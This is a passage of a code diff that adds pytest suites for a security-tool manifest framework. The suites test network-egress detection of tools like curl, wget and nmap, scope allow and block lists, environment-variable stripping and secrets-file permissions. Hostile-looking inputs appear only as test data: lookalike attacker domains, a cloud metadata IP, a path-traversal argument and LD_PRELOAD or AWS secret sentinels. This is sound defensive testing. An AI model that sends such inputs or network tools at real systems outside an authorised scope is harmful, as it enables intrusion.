'[browser.commands.navigate]\ndescription = "go"\n' + '[browser.commands.navigate.args.target]\ntype = "url"\n{flag}' + '[output]\nformat = "json"\n' + ) + _refused(tmp_path, doc.format(flag="")) + m = _load(tmp_path, doc.format(flag=_FLAG)) + assert m.browser.commands["navigate"].args["target"].block_internal is True + + def test_session_command_arg_under_network_egress(self, tmp_path): + doc = ( + '[tool]\nname = "s"\n{tool}' + '[session]\nstartup_command = "echo"\n' + '[session.commands.scan]\npattern = "^scan .+$"\n' + '[session.commands.scan.args.target]\ntype = "scope_target"\n{flag}' + '[output]\nformat = "text"\n' + ) + # A session manifest is not an egress manifest by itself. + _load(tmp_path, doc.format(tool="", flag="")) + _refused(tmp_path, doc.format(tool="network_egress = true\n", flag="")) + _load(tmp_path, doc.format(tool="network_egress = true\n", flag=_FLAG)) + + def test_program_is_matched_by_basename_case_insensitively(self, tmp_path): + _refused(tmp_path, _doc("/usr/local/bin/Curl", "url")) + _refused(tmp_path, _doc("", "url", command='exec = ["/opt/tools/nmap", "{target}"]\n')) + _refused(tmp_path, _doc("", "url", command='exec = ["C:\\\\tools\\\\WGET", "{target}"]\n')) + # A different basename, however similar, is not on the list. + _load(tmp_path, _doc("curl2", "url")) + _load(tmp_path, _doc("", "url", command='exec = ["/opt/tools/nmap-parse", "{target}"]\n')) + + def test_template_first_token_is_inspected(self, tmp_path): + _refused(tmp_path, _doc("", "url", command='template = "curl -s {target}"\n')) + _refused(tmp_path, _doc("", "url", command="template = \"'/usr/bin/curl' -s {target}\"\n")) + # The lint runs before the template is compiled, so only the manifest + # that loads emits the template deprecation warning. + with pytest.warns(DeprecationWarning, match="template is deprecated"): + _load(tmp_path, _doc("", "url", command='template = "whois {target}"\n')) + + def test_executor_only_manifest_is_the_authors_responsibility(self, tmp_path): + base = ( + '[tool]\nname = "x"\n{tool}' + '[args.target]\nposition = 1\nrequired = true\ntype = "scope_target"\n' + '[command]\nexecutor = "/bin/true"\n' + '[output]\nformat = "text"\n' + ) + # The script cannot be inspected for a binary: not an egress manifest + # unless declared. + assert _load(tmp_path, base.format(tool="")).command.executor == "/bin/true" + _refused(tmp_path, base.format(tool="network_egress = true\n")) + + def test_is_egress_manifest_helper(self): + def m(**kw) -> Manifest: + return Manifest(**kw) + assert is_egress_manifest(m(tool=ToolMeta(binary="nmap"))) is True + assert is_egress_manifest(m(tool=ToolMeta(network_egress=True))) is True + assert is_egress_manifest(m(http=HttpDef(url="https://x/"))) is True + assert is_egress_manifest(m(browser=BrowserDef())) is True + assert is_egress_manifest(m(command=CommandDef(exec=["/usr/bin/curl"]))) is True + assert is_egress_manifest(m(command=CommandDef(template="ping -c 1 {t}"))) is True + assert is_egress_manifest(m(tool=ToolMeta(binary="whois"), command=CommandDef(exec=["whois"]))) is False + assert is_egress_manifest(m(command=CommandDef(executor="/bin/true"))) is False + assert is_egress_manifest(m()) is False + + +_CUSTOM_MSG = ( + "argument 'target' uses custom type 'host' as a network target; custom " + "types cannot carry block_internal — use the built-in scope_target type" +) + + +def _load_opaque(tmp_path, text: str, type_name: str) -> Manifest: + """Load with ``type_name`` declared as an opaque string custom type, so the + lint can be exercised separately against other custom definitions.""" + from toolclad.manifest import LoadOptions, load_manifest_with_options + + p = tmp_path / "t.clad.toml" + p.write_text(text) + return load_manifest_with_options( + str(p), LoadOptions(custom_types={type_name: CustomTypeDef(base="string")}) + ) + + +class TestCustomTypeNetworkTargets: + def test_load_refuses_custom_network_type_from_discovered_config(self, tmp_path): + # The loader discovers toolclad.toml and runs the lint with its types. + (tmp_path / "toolclad.toml").write_text('[types.host]\nbase = "scope_target"\n') + with pytest.raises(ValueError) as exc: + _load(tmp_path, _doc("nmap", "host")) + assert str(exc.value) == _CUSTOM_MSG + + def test_manifest_lint_refuses_custom_network_type_on_egress_manifest(self, tmp_path): + # With an opaque definition of the type the manifest loads. + m = _load_opaque(tmp_path, _doc("nmap", "host"), "host") + with pytest.raises(ValueError) as exc: + validate_manifest_with_custom_types(m, {"host": CustomTypeDef(base="scope_target")}) + assert str(exc.value) == _CUSTOM_MSG + + @pytest.mark.parametrize("base", ["url", "ip_address", "cidr"]) + def test_every_network_base_is_refused(self, tmp_path, base): + m = _load_opaque(tmp_path, _doc("curl", "host"), "host") + with pytest.raises(ValueError, match=f"use the built-in {base} type"): + validate_manifest_with_custom_types(m, {"host": CustomTypeDef(base=base)}) + + def test_manifest_lint_passes_other_custom_types(self, tmp_path): + m = _load_opaque(tmp_path, _doc("nmap", "ident", _FLAG), "ident") + validate_manifest_with_custom_types(m, {"ident": CustomTypeDef(base="string", pattern="[a-z]+")}) + # An unknown custom type is not this lint's concern. + validate_manifest_with_custom_types(m, {}) + + def test_manifest_lint_is_gated_on_egress(self, tmp_path): + m = _load_opaque(tmp_path, _doc("whois", "host"), "host") + validate_manifest_with_custom_types(m, {"host": CustomTypeDef(base="scope_target")}) + + def test_manifest_lint_still_requires_the_flag_on_built_in_types(self, tmp_path): + m = _load(tmp_path, _doc("whois", "scope_target")) + m.tool.network_egress = True + with pytest.raises(ValueError) as exc: + validate_manifest_with_custom_types(m, {}) + assert str(exc.value) == _LINT + + @pytest.mark.parametrize("base", ["scope_target", "url", "ip_address", "cidr"]) + def test_validate_arg_with_custom_types_refuses_network_base(self, base, no_dns): + custom = {"host": CustomTypeDef(base=base)} + with pytest.raises(ValidationError) as exc: + validate_arg_with_custom_types(_arg("host", block_internal=True), _PUBLIC, custom) + assert str(exc.value) == _CUSTOM_MSG.replace("scope_target", base) + + def test_validate_arg_with_custom_types_still_delegates_other_bases(self): + custom = {"ident": CustomTypeDef(base="string", pattern="[a-z]+")} + assert validate_arg_with_custom_types(_arg("ident"), "abc", custom) == "abc" diff --git a/python/tests/test_hardening_w5_scope.py b/python/tests/test_hardening_w5_scope.py new file mode 100644 index 0000000..3f08244 --- /dev/null +++ b/python/tests/test_hardening_w5_scope.py @@ -0,0 +1,479 @@ +"""Scope enforcement (``scope_check``) and the shared scope vector file. + +No test here runs a tool, opens a socket or performs a DNS lookup: every +argument either omits ``block_internal`` or carries an IP literal. +""" + +from __future__ import annotations + +import json +import textwrap +from pathlib import Path + +import pytest +from click.testing import CliRunner + +from toolclad.cli import main +from toolclad.executor import build_command_argv, execute +from toolclad.manifest import ArgDef, HttpDef, Manifest, McpProxyDef, ToolMeta, load_manifest +from toolclad.scope import ( + ScopeDef, + ScopeError, + cidr_within, + discover_scope, + host_matches_rule, + ip_in_cidr, + load_scope_file, + manifest_scope, + parse_scope, + url_host_in_scope, +) +from toolclad.validator import ValidationError, validate_arg, validate_arg_in + +_VECTORS = Path(__file__).resolve().parents[2] / "tests" / "scope_vectors.json" +_NOT_FOUND = ( + "scope_check is enabled but no scope/scope.toml was found (set TOOLCLAD_SCOPE_FILE)" +) + + +@pytest.fixture(autouse=True) +def _no_scope_env(monkeypatch): + monkeypatch.delenv("TOOLCLAD_SCOPE_FILE", raising=False) + + +def _scope(**kw) -> ScopeDef: + return parse_scope({"scope": kw}) + + +def _arg(type_: str, **kw) -> ArgDef: + kw.setdefault("name", "target") + return ArgDef(type=type_, scope_check=True, **kw) + + +def _write_scope(directory: Path, body: str) -> Path: + (directory / "scope").mkdir(parents=True, exist_ok=True) + path = directory / "scope" / "scope.toml" + path.write_text(textwrap.dedent(body)) + return path + + +_SCOPE_BODY = """\ +[scope] +allowed_domains = ["example.com", "*.example.com"] +allowed_cidrs = ["10.0.1.0/24"] +blocked_domains = ["bad.example.com"] +blocked_cidrs = ["10.0.1.128/25"] +""" + +_MANIFEST = """\ +[tool] +name = "scoped" +version = "1.0.0" +binary = "echo" + +[args.target] +position = 1 +required = true +type = "scope_target" +scope_check = true + +[command] +exec = ["echo", "{target}"] + +[output] +format = "text" +""" + + +def _write_manifest(directory: Path, body: str = _MANIFEST) -> str: + directory.mkdir(parents=True, exist_ok=True) + path = directory / "t.clad.toml" + path.write_text(body) + return str(path) + + +# --------------------------------------------------------------------------- +# tests/scope_vectors.json (normative, shared by every runtime) +# --------------------------------------------------------------------------- + + +@pytest.fixture(scope="module") +def vectors(): + if not _VECTORS.is_file(): + pytest.skip(f"shared vector file not found at {_VECTORS}") + return json.loads(_VECTORS.read_text())["vectors"] + + +class TestScopeVectors: + def test_ipv4_in_cidr(self, vectors): + for v in vectors["ipv4_in_cidr"]: + assert ip_in_cidr(v["ip"], v["cidr"]) is v["expected"], v + + def test_ipv6_in_cidr(self, vectors): + for v in vectors["ipv6_in_cidr"]: + assert ip_in_cidr(v["ip"], v["cidr"]) is v["expected"], v + + def test_hostname_wildcard_match(self, vectors): + for v in vectors["hostname_wildcard_match"]: + assert host_matches_rule(v["hostname"], v["pattern"]) is v["expected"], v + + def test_scope_target_validation(self, vectors): + arg = ArgDef(name="target", type="scope_target") + for v in vectors["scope_target_validation"]: + try: + validate_arg(arg, v["value"]) + ok = True + except ValidationError: + ok = False + assert ok is v["valid"], v + + def test_url_scope_check(self, vectors): + for v in vectors["url_scope_check"]: + assert url_host_in_scope(v["url"], v["allowed_hosts"]) is v["expected"], v + scope = ScopeDef(allowed_domains=list(v["allowed_hosts"])) + try: + validate_arg_in(_arg("url"), v["url"], False, scope) + ok = True + except ValidationError: + ok = False + assert ok is v["expected"], v + + +# --------------------------------------------------------------------------- +# Matching +# --------------------------------------------------------------------------- + + +class TestMatching: + scope = _scope( + allowed_domains=["example.com", "*.example.com"], + allowed_cidrs=["10.0.1.0/24", "2001:db8::/32"], + blocked_domains=["bad.example.com"], + blocked_cidrs=["10.0.1.128/25"], + ) + + def ok(self, type_: str, value: str) -> None: + assert validate_arg_in(_arg(type_), value, False, self.scope) == value + + def refused(self, type_: str, value: str, subject: str = "") -> None: + with pytest.raises(ValidationError) as exc: + validate_arg_in(_arg(type_), value, False, self.scope) + assert str(exc.value) == f"argument 'target' target '{subject or value}' is not in scope" + + def test_exact_and_wildcard_domains(self): + self.ok("scope_target", "example.com") + self.ok("scope_target", "EXAMPLE.com") + self.ok("scope_target", "app.example.com") + self.ok("scope_target", "deep.sub.example.com") + + def test_label_boundary(self): + self.refused("scope_target", "evil-example.com") + self.refused("scope_target", "notexample.com") + self.refused("scope_target", "example.com.evil.com") + + def test_apex_not_matched_by_wildcard(self): + scope = _scope(allowed_domains=["*.example.com"]) + validate_arg_in(_arg("scope_target"), "a.example.com", False, scope) + with pytest.raises(ValidationError, match="is not in scope"): + validate_arg_in(_arg("scope_target"), "example.com", False, scope) + + def test_blocked_beats_allowed(self): + # bad.example.com matches *.example.com but is blocked. + self.refused("scope_target", "bad.example.com") + self.refused("url", "https://bad.example.com/x", "bad.example.com") + # 10.0.1.200 is in the allowed /24 but inside the blocked /25. + self.refused("ip_address", "10.0.1.200") + self.ok("ip_address", "10.0.1.5") + + def test_ip_rules(self): + self.ok("scope_target", "10.0.1.1") + self.ok("ip_address", "2001:db8::1") + self.refused("ip_address", "10.0.2.1") + self.refused("scope_target", "2001:db9::1") + + def test_mapped_ipv6_compared_as_ipv4(self): + self.ok("ip_address", "::ffff:10.0.1.5") + self.refused("ip_address", "::ffff:10.0.1.200") + + def test_cidr_full_containment(self): + self.ok("cidr", "10.0.1.0/26") + self.ok("scope_target", "10.0.1.0/25") + self.refused("cidr", "10.0.0.0/8") + self.refused("cidr", "10.0.0.0/16") + # Overlapping a blocked range at all is a refusal. + self.refused("cidr", "10.0.1.0/24") + self.ok("cidr", "2001:db8:1::/48") + self.refused("cidr", "2001:db8::/31") + assert cidr_within("10.0.1.0/25", "10.0.1.0/24") + assert not cidr_within("10.0.0.0/8", "10.0.1.0/24") + + def test_url_host_is_the_subject(self): + self.ok("url", "https://api.example.com/v1?q=1") + self.ok("url", "http://10.0.1.7:8080/") + self.refused("url", "https://evil.com/api", "evil.com") + self.refused("url", "https://api.example.com.evil.com/v1", "api.example.com.evil.com") + + def test_domain_rules_do_not_match_ips(self): + scope = _scope(allowed_domains=["example.com"]) + with pytest.raises(ValidationError, match="is not in scope"): + validate_arg_in(_arg("ip_address"), "10.0.1.1", False, scope) + + def test_empty_allowed_lists_mean_nothing_in_scope(self): + scope = _scope() + for type_, value in ( + ("scope_target", "example.com"), + ("ip_address", "10.0.1.1"), + ("cidr", "10.0.1.0/24"), + ("url", "https://example.com/"), + ): + with pytest.raises(ValidationError, match="is not in scope"): + validate_arg_in(_arg(type_), value, False, scope) + + def test_fail_closed_without_scope(self): + for type_, value in (("scope_target", "example.com"), ("url", "https://example.com/")): + with pytest.raises(ValidationError) as exc: + validate_arg_in(_arg(type_), value, False, None) + assert str(exc.value) == f"argument 'target' {_NOT_FOUND}" + # The legacy entry points carry no scope, so they fail closed too. + with pytest.raises(ValidationError, match="no scope/scope.toml was found"): + validate_arg(_arg("scope_target"), "example.com") + + def test_scope_check_off_ignores_scope(self): + assert validate_arg_in(ArgDef(name="t", type="scope_target"), "evil.com", False, None) + + def test_in_scope_but_internal_still_refused(self): + scope = _scope(allowed_cidrs=["127.0.0.0/8", "10.0.1.0/24"]) + arg = _arg("ip_address", block_internal=True) + with pytest.raises(ValidationError, match="block_internal"): + validate_arg_in(arg, "127.0.0.1", False, scope) + with pytest.raises(ValidationError, match="block_internal"): + validate_arg_in(arg, "10.0.1.1", False, scope) + # And an allowed-by-policy public IP outside scope is refused by scope. + with pytest.raises(ValidationError, match="is not in scope"): + validate_arg_in(arg, "8.8.8.8", False, scope) + + def test_link_local_refused_even_when_in_scope(self): + scope = _scope(allowed_cidrs=["169.254.0.0/16"]) + with pytest.raises(ValidationError, match="always blocked"): + validate_arg_in(_arg("ip_address"), "169.254.169.254", False, scope) + + def test_unsupported_type_at_call(self): + with pytest.raises(ValidationError, match="scope_check is not supported for type 'string'"): + validate_arg_in(_arg("string"), "x", False, _scope()) + + +# --------------------------------------------------------------------------- +# Scope file parsing +# --------------------------------------------------------------------------- + + +class TestScopeFile: + def test_loads_repository_style_file(self, tmp_path): + scope = load_scope_file(_write_scope(tmp_path, _SCOPE_BODY)) + assert scope.allowed_domains == ["example.com", "*.example.com"] + assert [str(n) for n in scope.allowed_cidrs] == ["10.0.1.0/24"] + assert [str(n) for n in scope.blocked_cidrs] == ["10.0.1.128/25"] + + def test_unknown_key_is_a_load_error(self, tmp_path): + path = _write_scope(tmp_path, '[scope]\nallowed_domain = ["x.com"]\n') + with pytest.raises(ScopeError, match=r"unknown key 'scope\.allowed_domain'"): + load_scope_file(path) + path = _write_scope(tmp_path, '[scope]\n\n[extra]\nk = 1\n') + with pytest.raises(ScopeError, match=r"unknown key 'extra'"): + load_scope_file(path) + + @pytest.mark.parametrize("cidr", ["10.0.1.0/33", "10.0.1/24", "10.0.1.0", "010.0.1.0/24", "x/8"]) + def test_malformed_cidr_is_a_load_error(self, cidr): + with pytest.raises(ScopeError, match="invalid CIDR"): + _scope(allowed_cidrs=[cidr]) + with pytest.raises(ScopeError, match="invalid CIDR"): + _scope(blocked_cidrs=[cidr]) + + @pytest.mark.parametrize( + "rule", ["*", "*example.com", "a.*.example.com", "example.*", "**.example.com", + "Example.com", "exa mple.com", "example.com/x", "", "*."] + ) + def test_bad_domain_rule_is_a_load_error(self, rule): + with pytest.raises(ScopeError, match="invalid domain rule"): + _scope(allowed_domains=[rule]) + with pytest.raises(ScopeError, match="invalid domain rule"): + _scope(blocked_domains=[rule]) + + def test_non_list_value_is_a_load_error(self): + with pytest.raises(ScopeError, match="must be a list of strings"): + _scope(allowed_domains="example.com") + + def test_invalid_toml_is_a_load_error(self, tmp_path): + path = _write_scope(tmp_path, "[scope\n") + with pytest.raises(ScopeError, match="not valid TOML"): + load_scope_file(path) + + +# --------------------------------------------------------------------------- +# Discovery +# --------------------------------------------------------------------------- + + +class TestDiscovery: + def test_env_var_wins(self, tmp_path, monkeypatch): + _write_scope(tmp_path / "proj", '[scope]\nallowed_domains = ["walk.example"]\n') + env_file = _write_scope(tmp_path / "other", '[scope]\nallowed_domains = ["env.example"]\n') + monkeypatch.setenv("TOOLCLAD_SCOPE_FILE", str(env_file)) + assert discover_scope(tmp_path / "proj").allowed_domains == ["env.example"] + + def test_env_var_relative_path(self, tmp_path, monkeypatch): + _write_scope(tmp_path, '[scope]\nallowed_domains = ["rel.example"]\n') + monkeypatch.chdir(tmp_path) + monkeypatch.setenv("TOOLCLAD_SCOPE_FILE", "scope/scope.toml") + assert discover_scope(None).allowed_domains == ["rel.example"] + + def test_unreadable_env_var_is_an_error(self, tmp_path, monkeypatch): + _write_scope(tmp_path, '[scope]\nallowed_domains = ["walk.example"]\n') + monkeypatch.setenv("TOOLCLAD_SCOPE_FILE", str(tmp_path / "missing.toml")) + with pytest.raises(ScopeError, match="cannot read scope file"): + discover_scope(tmp_path) + + def test_upward_walk_finds_parent_scope(self, tmp_path): + _write_scope(tmp_path, '[scope]\nallowed_domains = ["up.example"]\n') + nested = tmp_path / "a" / "b" / "c" + nested.mkdir(parents=True) + assert discover_scope(nested).allowed_domains == ["up.example"] + + def test_nearest_scope_wins(self, tmp_path): + _write_scope(tmp_path, '[scope]\nallowed_domains = ["far.example"]\n') + _write_scope(tmp_path / "a", '[scope]\nallowed_domains = ["near.example"]\n') + (tmp_path / "a" / "b").mkdir() + assert discover_scope(tmp_path / "a" / "b").allowed_domains == ["near.example"] + + def test_none_found(self, tmp_path): + if discover_scope(tmp_path) is not None: + pytest.skip("a scope/scope.toml exists above the temp directory") + assert discover_scope(tmp_path) is None + + def test_manifest_from_string_walks_from_cwd(self, tmp_path, monkeypatch): + _write_scope(tmp_path, '[scope]\nallowed_domains = ["cwd.example"]\n') + monkeypatch.chdir(tmp_path) + m = Manifest(args={"target": _arg("scope_target")}) + assert manifest_scope(m).allowed_domains == ["cwd.example"] + + def test_manifest_scope_is_cached(self, tmp_path): + path = _write_scope(tmp_path, '[scope]\nallowed_domains = ["one.example"]\n') + m = load_manifest(_write_manifest(tmp_path / "tools")) + first = manifest_scope(m) + path.write_text('[scope]\nallowed_domains = ["two.example"]\n') + assert manifest_scope(m) is first + + def test_no_discovery_without_scope_check(self, tmp_path, monkeypatch): + # A broken TOOLCLAD_SCOPE_FILE does not affect a manifest that never + # asks for scope. + monkeypatch.setenv("TOOLCLAD_SCOPE_FILE", str(tmp_path / "missing.toml")) + m = Manifest(args={"t": ArgDef(name="t", type="scope_target")}) + assert manifest_scope(m) is None + + +# --------------------------------------------------------------------------- +# Load-time checks and the executor / CLI paths +# --------------------------------------------------------------------------- + + +class TestWiring: + @pytest.mark.parametrize("type_", ["string", "integer", "port", "path", "enum", "boolean"]) + def test_scope_check_on_unsupported_type_is_a_load_error(self, tmp_path, type_): + extra = 'allowed = ["a"]\n' if type_ == "enum" else "" + body = _MANIFEST.replace('type = "scope_target"', f'type = "{type_}"\n{extra}') + with pytest.raises(ValueError, match=f"scope_check is not supported for type '{type_}'"): + load_manifest(_write_manifest(tmp_path, body)) + + def test_exec_path_enforces_scope(self, tmp_path): + _write_scope(tmp_path, _SCOPE_BODY) + m = load_manifest(_write_manifest(tmp_path / "tools")) + assert build_command_argv(m, {"target": "app.example.com"}) == ["echo", "app.example.com"] + with pytest.raises(ValidationError, match="target 'evil.com' is not in scope"): + build_command_argv(m, {"target": "evil.com"}) + with pytest.raises(ValidationError, match="is not in scope"): + execute(m, {"target": "bad.example.com"}, dry_run=True) + + def test_exec_path_fails_closed(self, tmp_path, monkeypatch): + monkeypatch.setenv("TOOLCLAD_SCOPE_FILE", str(tmp_path / "nope.toml")) + m = load_manifest(_write_manifest(tmp_path)) + with pytest.raises(ScopeError, match="cannot read scope file"): + execute(m, {"target": "example.com"}, dry_run=True) + + def test_exec_path_fails_closed_with_no_file_anywhere(self, tmp_path): + if discover_scope(tmp_path) is not None: + pytest.skip("a scope/scope.toml exists above the temp directory") + m = load_manifest(_write_manifest(tmp_path)) + with pytest.raises(ValidationError) as exc: + execute(m, {"target": "example.com"}, dry_run=True) + assert str(exc.value) == f"argument 'target' {_NOT_FOUND}" + + def test_default_is_scope_checked_at_call(self, tmp_path): + _write_scope(tmp_path, _SCOPE_BODY) + body = _MANIFEST.replace("required = true", 'required = false\ndefault = "evil.com"') + m = load_manifest(_write_manifest(tmp_path / "tools", body)) + with pytest.raises(ValidationError, match="target 'evil.com' is not in scope"): + build_command_argv(m, {}) + + def test_executor_path_enforces_scope(self, tmp_path): + _write_scope(tmp_path, _SCOPE_BODY) + body = _MANIFEST.replace('exec = ["echo", "{target}"]', 'executor = "/bin/true"') + m = load_manifest(_write_manifest(tmp_path / "tools", body)) + assert execute(m, {"target": "example.com"}, dry_run=True)["status"] == "dry_run" + with pytest.raises(ValidationError, match="is not in scope"): + execute(m, {"target": "evil.com"}, dry_run=True) + + def _http(self, scope: ScopeDef) -> Manifest: + m = Manifest( + tool=ToolMeta(name="h", version="1", binary=""), + http=HttpDef(method="GET", url="https://api.example.com/?u={target}"), + args={"target": _arg("url", required=True)}, + ) + object.__setattr__(m, "_scope_cache", scope) + return m + + def test_http_path_enforces_scope(self): + m = self._http(_scope(allowed_domains=["*.example.com"])) + env = execute(m, {"target": "https://a.example.com/"}, dry_run=True) + # Values are percent-encoded into the URL (W10). + assert env["command"] == "GET https://api.example.com/?u=https%3A%2F%2Fa.example.com%2F" + with pytest.raises(ValidationError, match="target 'evil.com' is not in scope"): + execute(m, {"target": "https://evil.com/"}, dry_run=True) + + def test_http_path_validates_every_type(self): + m = Manifest( + tool=ToolMeta(name="h", version="1", binary=""), + http=HttpDef(method="GET", url="https://api.example.com/{n}"), + args={"n": ArgDef(name="n", type="integer", required=True)}, + ) + with pytest.raises(ValidationError, match="Expected integer"): + execute(m, {"n": "1/../admin"}, dry_run=True) + with pytest.raises(ValidationError, match="Missing required argument"): + execute(m, {}, dry_run=True) + assert execute(m, {"n": "+7"}, dry_run=True)["command"] == "GET https://api.example.com/7" + + def test_mcp_path_enforces_scope(self): + m = Manifest( + tool=ToolMeta(name="m", version="1", binary=""), + mcp=McpProxyDef(server="s", tool="t", field_map={"target": "host"}), + args={"target": _arg("scope_target", required=True)}, + ) + object.__setattr__(m, "_scope_cache", _scope(allowed_cidrs=["10.0.1.0/24"])) + assert execute(m, {"target": "10.0.1.1"})["mcp_args"] == {"host": "10.0.1.1"} + with pytest.raises(ValidationError, match="is not in scope"): + execute(m, {"target": "10.9.9.9"}) + + def test_cli_test_enforces_scope(self, tmp_path): + _write_scope(tmp_path, _SCOPE_BODY) + path = _write_manifest(tmp_path / "tools") + ok = CliRunner().invoke(main, ["test", path, "--arg", "target=example.com"]) + assert ok.exit_code == 0, ok.output + bad = CliRunner().invoke(main, ["test", path, "--arg", "target=evil.com"]) + assert bad.exit_code == 1 + assert "is not in scope" in bad.output + + def test_cli_run_enforces_scope(self, tmp_path): + _write_scope(tmp_path, _SCOPE_BODY) + path = _write_manifest(tmp_path / "tools") + bad = CliRunner().invoke(main, ["run", path, "--arg", "target=evil.com"]) + assert bad.exit_code == 1 + assert "is not in scope" in bad.output diff --git a/python/tests/test_hardening_w6_w8.py b/python/tests/test_hardening_w6_w8.py new file mode 100644 index 0000000..76c80ec --- /dev/null +++ b/python/tests/test_hardening_w6_w8.py @@ -0,0 +1,570 @@ +"""Spawn-path hardening (W6: TC-8, TC-18, TC-19, TC-21) and timeouts (W8: TC-11). + +Every spawned tool is a local coreutils program (printenv, cat, pwd, echo, +touch, dd, sleep). Nothing here opens a socket. +""" + +from __future__ import annotations + +import json +import os +import re +import signal +import stat +import subprocess +import sys +import textwrap +import time +from pathlib import Path + +import pytest + +import toolclad.executor as executor +from toolclad.executor import ( + SAFE_PATH, + child_env, + execute, + inject_template_vars, + load_secrets_file, +) +from toolclad.manifest import load_manifest + +_VECTORS = Path(__file__).resolve().parents[2] / "tests" / "injection_vectors.json" +_ALLOWED = {"PATH", "HOME", "LANG", "LC_ALL", "TZ", "TERM"} +_SCAN_ID_RE = re.compile(r"^[0-9]+-[0-9a-f]{32}$") + +posix_only = pytest.mark.skipif(os.name != "posix", reason="POSIX spawn path") + + +@pytest.fixture(autouse=True) +def _isolated_env(monkeypatch, tmp_path): + evidence = tmp_path / "evidence" + monkeypatch.setenv("TOOLCLAD_EVIDENCE_DIR", str(evidence)) + monkeypatch.setenv("TOOLCLAD_KILL_GRACE_MS", "200") + monkeypatch.delenv("TOOLCLAD_SECRETS_FILE", raising=False) + monkeypatch.delenv("TOOLCLAD_SCOPE_FILE", raising=False) + return evidence + + +def _load(tmp_path: Path, body: str, name: str = "t.clad.toml"): + path = tmp_path / name + path.write_text(textwrap.dedent(body)) + return load_manifest(str(path)) + + +def _manifest(tmp_path: Path, binary: str, exec_: list, extra_tool: str = "", tail: str = ""): + return _load( + tmp_path, + f"""\ + [tool] + name = "t" + version = "1.0.0" + binary = "{binary}" + description = "x" + {extra_tool} + + [command] + exec = {json.dumps(exec_)} + + [output] + format = "text" + {tail} + """, + ) + + +def _env_names(stdout: str) -> dict: + out = {} + for line in stdout.splitlines(): + if "=" in line: + k, v = line.split("=", 1) + out[k] = v + return out + + +def _sentinels(monkeypatch): + monkeypatch.setenv("TOOLCLAD_SECRET_LEAK", "sentinel") + monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "sentinel2") + monkeypatch.setenv("LD_PRELOAD", "/tmp/x") + + +# --------------------------------------------------------------------------- +# F1: environment allowlist +# --------------------------------------------------------------------------- + + +@posix_only +class TestChildEnvironment: + def test_oneshot_env_is_allowlisted(self, tmp_path, monkeypatch): + _sentinels(monkeypatch) + m = _manifest(tmp_path, "printenv", ["printenv"]) + env = execute(m, {}) + assert env["status"] == "success", env + raw = env["results"]["raw_output"] + names = _env_names(raw) + assert set(names) <= _ALLOWED + assert names["PATH"] == SAFE_PATH + for sentinel in ("sentinel", "sentinel2", "/tmp/x"): + assert sentinel not in raw + + def test_executor_hatch_env(self, tmp_path, monkeypatch): + _sentinels(monkeypatch) + m = _load( + tmp_path, + """\ + [tool] + name = "t" + version = "1.0.0" + description = "x" + + [args.msg] + position = 1 + required = true + type = "string" + description = "m" + + [command] + executor = "printenv" + + [output] + format = "text" + """, + ) + env = execute(m, {"msg": "hello"}) + assert env["status"] == "success", env + raw = env["results"]["raw_output"] + names = _env_names(raw) + assert names["TOOLCLAD_ARG_MSG"] == "hello" + assert names["PATH"] == SAFE_PATH + assert names["TOOLCLAD_SCAN_ID"] == env["scan_id"] + assert names["TOOLCLAD_TOOL_NAME"] == "t" + assert names["TOOLCLAD_EVIDENCE_DIR"] == os.environ["TOOLCLAD_EVIDENCE_DIR"] + assert names["TOOLCLAD_OUTPUT_DIR"].startswith(names["TOOLCLAD_EVIDENCE_DIR"]) + hatch = { + "TOOLCLAD_ARG_MSG", "TOOLCLAD_SCAN_ID", "TOOLCLAD_TOOL_NAME", + "TOOLCLAD_EVIDENCE_DIR", "TOOLCLAD_OUTPUT_DIR", + } + assert set(names) <= _ALLOWED | hatch + assert not any(k.startswith("TOOLCLAD_SECRET") for k in names) + for sentinel in ("sentinel", "sentinel2", "/tmp/x"): + assert sentinel not in raw + + def test_secret_filter_survives_allowlist_edits(self, monkeypatch): + # Even a secret name handed in as an extra variable never reaches a child. + monkeypatch.setenv("TOOLCLAD_SECRET_X", "s") + env = child_env({"TOOLCLAD_SECRET_Y": "s", "TOOLCLAD_SECRETS_FILE": "/f", "TOOLCLAD_ARG_A": "1"}) + assert env["TOOLCLAD_ARG_A"] == "1" + assert not any(k.startswith("TOOLCLAD_SECRET") for k in env) + + def test_passthrough_only_when_set(self, monkeypatch): + monkeypatch.delenv("TZ", raising=False) + monkeypatch.setenv("LANG", "C.UTF-8") + env = child_env() + assert "TZ" not in env + assert env["LANG"] == "C.UTF-8" + + +# --------------------------------------------------------------------------- +# F2: secrets file +# --------------------------------------------------------------------------- + + +class TestSecretsFile: + def _write(self, tmp_path, mode, body='api_key = "from-file"\n'): + path = tmp_path / "secrets.toml" + path.write_text(body) + os.chmod(path, mode) + return path + + def test_file_value_used(self, tmp_path, monkeypatch): + path = self._write(tmp_path, 0o600) + monkeypatch.setenv("TOOLCLAD_SECRETS_FILE", str(path)) + assert inject_template_vars("Bearer {_secret:api_key}") == "Bearer from-file" + + def test_file_wins_over_env(self, tmp_path, monkeypatch): + path = self._write(tmp_path, 0o600) + monkeypatch.setenv("TOOLCLAD_SECRETS_FILE", str(path)) + monkeypatch.setenv("TOOLCLAD_SECRET_API_KEY", "from-env") + assert inject_template_vars("{_secret:api_key}") == "from-file" + + def test_env_used_when_not_in_file(self, tmp_path, monkeypatch): + path = self._write(tmp_path, 0o600) + monkeypatch.setenv("TOOLCLAD_SECRETS_FILE", str(path)) + monkeypatch.setenv("TOOLCLAD_SECRET_OTHER", "from-env") + assert inject_template_vars("{_secret:other}") == "from-env" + + @posix_only + def test_group_readable_file_refused(self, tmp_path, monkeypatch): + path = self._write(tmp_path, 0o644) + monkeypatch.setenv("TOOLCLAD_SECRETS_FILE", str(path)) + with pytest.raises(RuntimeError, match=r"readable by group or others \(mode 0644\); chmod 600 it"): + load_secrets_file() + + def test_missing_secret_is_error(self, tmp_path, monkeypatch): + path = self._write(tmp_path, 0o600) + monkeypatch.setenv("TOOLCLAD_SECRETS_FILE", str(path)) + monkeypatch.delenv("TOOLCLAD_SECRET_NOPE", raising=False) + with pytest.raises(RuntimeError, match="Secret 'nope' not found"): + inject_template_vars("{_secret:nope}") + + def test_file_read_once_per_call(self, tmp_path, monkeypatch): + path = self._write(tmp_path, 0o600) + monkeypatch.setenv("TOOLCLAD_SECRETS_FILE", str(path)) + calls = [] + real = executor.load_secrets_file + + def counting(): + calls.append(1) + return real() + + monkeypatch.setattr(executor, "load_secrets_file", counting) + m = _load( + tmp_path, + """\ + [tool] + name = "h" + version = "1.0.0" + description = "x" + + [http] + method = "POST" + url = "https://api.example.com/{_secret:api_key}" + headers = { 